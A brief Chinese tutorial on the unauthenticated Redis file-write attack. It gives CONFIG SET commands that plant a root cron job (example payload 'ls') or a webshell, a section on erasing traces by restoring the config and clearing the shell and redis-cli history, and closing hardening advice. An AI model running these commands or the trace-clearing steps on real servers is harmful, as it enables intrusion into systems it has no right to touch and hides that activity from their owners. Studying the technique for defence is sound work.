Redis无密码攻击
原理
修改数据库保存的位置,并将攻击代码写入数据库文件。
如:将数据库文件放置在/etc/cron.d 下,并写入cron表达式,可周期性执行代码反弹shell;将数据库文件放置在web目录下,写入一句话木马等代码获取webshell。
攻击步骤
- 使用config set命令,修改数据库保存位置;
- 通过set命令将目标代码写入文件中,此处的文件为数据库文件。
关键代码
shell
# 语法
config set dir $目标文件夹路径
config set dbfilename $目标文件名
config set $任意变量名 $需执行的代码或表达式
shell
# 向/etc/cron.d/redis.cron写入每分钟以root身份执行一次ls命令
config set dir /etc/cron.d
config set dbfilename redis.cron
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
set x "\n\n* * * * * root ls\n\n"
攻击还原
- 攻击前使用config get命令,获取dir及dbfilename并保存;
- 攻击后使用config set命令,将dir及dbfilename参数还原;
- 攻击后在redis-cli中执行del命令,删除变量(上例中的x);
- 如有可能,清理用户根目录下的.rediscli_history文件;
- history -c
防护
- 在redis.conf文件中,启用"requirepass"参数;
- 在redis.conf文件中,启用"rename-command",将关键命令重命名;(不推荐)
- 使用Redis ACL功能,控制命令执行;
- 低权限运行redis,防止向系统关键路径写入;
- 与其他服务分用户运行,并控制好各用户的文件读写权限,防止redis向其他服务路径写入;